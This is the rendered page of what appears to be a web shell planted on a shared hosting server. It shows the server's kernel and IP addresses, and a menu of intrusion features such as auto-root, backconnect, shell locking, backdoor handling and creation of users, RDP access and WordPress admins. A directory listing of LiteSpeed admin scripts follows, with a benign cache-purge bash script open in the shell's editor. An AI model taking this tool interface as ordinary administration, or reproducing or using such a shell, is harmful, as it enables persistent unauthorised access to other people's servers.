Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
local /
lsws /
admin /
misc /
[ HOME SHELL ]
Name
Size
Permission
Action
admpass.sh
1.17
KB
-r-xr-xr-x
ap_lsws.sh
1.82
KB
-rwxr-xr-x
ap_lsws.sh.in
1.82
KB
-r-xr-xr-x
awstats_install.sh
2.06
KB
-r-xr-xr-x
build_ap_wrapper.sh
624
B
-r-xr-xr-x
chroot.sh
7.31
KB
-r-xr-xr-x
cleancache.sh
1.46
KB
-r-xr-xr-x
cleanlitemage.sh
2.4
KB
-r-xr-xr-x
cp_switch_ws.sh
22.41
KB
-r-xr-xr-x
cpanel_restart_httpd.in
732
B
-r-xr-xr-x
create_admin_keypair.sh
336
B
-r-xr-xr-x
enable_ruby_python_selector.sh
2.68
KB
-r-xr-xr-x
fix_cagefs.sh
766
B
-r-xr-xr-x
fp_install.sh
1.65
KB
-r-xr-xr-x
gdb-bt
25
B
-rw-r--r--
genjCryptionKeyPair.php
6.43
KB
-rw-r--r--
gzipStatic.sh
272
B
-r-xr-xr-x
htpasswd.php
103
B
-rw-r--r--
lscmctl
15.3
KB
-rwxrwxr-x
lshttpd.service
660
B
-r-xr-xr-x
lsup.sh
5.65
KB
-r-xr-xr-x
lsup6.sh
5.65
KB
-r-xr-xr-x
lsws.rc
1.78
KB
-r-xr-xr-x
lsws.rc.gentoo
441
B
-r-xr-xr-x
mgr_ver.sh
1.93
KB
-r-xr-xr-x
php.ini
37.11
KB
-rw-r--r--
purge_cache_by_url
3.23
KB
-r-xr-xr-x
rc-inst.sh
6.24
KB
-r-xr-xr-x
rc-uninst.sh
4.61
KB
-r-xr-xr-x
uninstall.sh
2.9
KB
-r-xr-xr-x
update.sh
1.85
KB
-r-xr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : purge_cache_by_url
#!/usr/bin/env bash #set -x CURL_ACTION='' CURL_IP='127.0.0.1' CURL_URL='' CURL_PROTO='' CURL_DOMAIN='' function handle_args() { if [[ "$#" -eq 0 ]]; then show_help exit 1 fi while [[ "$1" != '' ]]; do case $1 in -r ) CURL_ACTION='REFRESH' ;; -p ) CURL_ACTION='PURGE' ;; -ip ) shift; CURL_IP="$1" ;; -h ) show_help; exit 1 ;; * ) CURL_URL="$1" ;; esac shift done if [[ "${CURL_ACTION}" == '' ]] || [[ "${CURL_URL}" == '' ]]; then show_help exit 1 fi if [[ "${CURL_IP}" == '' ]]; then echo 'IP parameter passed but no value set!' exit 1 fi if ! [[ "${CURL_URL}" =~ https?:// ]]; then echo 'Please use full URL include http/https!' exit 1 fi if [[ "${CURL_IP}" != '' ]] && [[ "${CURL_IP}" != '127.0.0.1' ]]; then if [[ "${CURL_URL}" =~ 'https://' ]]; then CURL_PROTO='443' else CURL_PROTO='80' fi CURL_DOMAIN=$(echo ${CURL_URL} | awk -F[/:] '{print $4}') fi } function show_help() { cat <<EOF Usage: purge_cache_byurl -(r|p) [-ip <ip>] <URL> Purge/Refresh cache for specific URL. Required Arguments: -r|-p, Refreshes/Purges the cache for specific page. *, Full URL of the specific page to refresh/purge. Optional Arguments: -ip, IP to resolve the hostname of the request to (Only if it differs from what the DNS A record is set to.) Notes: If running on a server other than the one the site is located on, make sure to add this machines IP to the trusted list inside of LiteSpeed Web Server or else the Purge/Refresh requests will not work. EOF } function send_cmd() { if [[ "${CURL_PROTO}" != '' ]] && [[ "${CURL_DOMAIN}" != '' ]]; then CURL_OUTPUT=$(curl --resolve ${CURL_DOMAIN}:${CURL_PROTO}:${CURL_IP} -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'HTTP/' | awk '{print $2}') else CURL_OUTPUT=$(curl -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'HTTP/' | awk '{print $2}') fi if [[ "${CURL_OUTPUT}" != '200' ]]; then if [[ "${CURL_OUTPUT}" == '301' ]]; then if [[ "${CURL_NEW_URL}" == '' ]]; then if [[ "${CURL_PROTO}" != '' ]] && [[ "${CURL_DOMAIN}" != '' ]]; then CURL_NEW_URL=$(curl --resolve ${CURL_DOMAIN}:${CURL_PROTO}:${CURL_IP} -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'Location:' | awk '{print $2}') if [[ "${CURL_NEW_URL}" =~ 'https://' ]]; then CURL_PROTO='443' else CURL_PROTO='80' fi CURL_DOMAIN=$(echo ${CURL_NEW_URL} | awk -F[/:] '{print $4}') else CURL_NEW_URL=$(curl -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'Location:' | awk '{print $2}') fi CURL_URL="${CURL_NEW_URL}" send_cmd else echo 'URL keeps redirecting! Please make sure URL is final URL after any https or other redirects!' exit 1 fi elif [[ "${CURL_OUTPUT}" == '405' ]]; then echo 'This IP is not valid to PURGE or REFRESH cache! Please add this IP as a trusted IP inside of LiteSpeed Web Server!' exit 1 else echo 'HTTP return code is not 200! Please make sure this is a valid page!' exit 1 fi else echo "Page ${CURL_ACTION} Successfully!" fi } function main() { handle_args "$@" send_cmd exit 0 } main "$@"
Close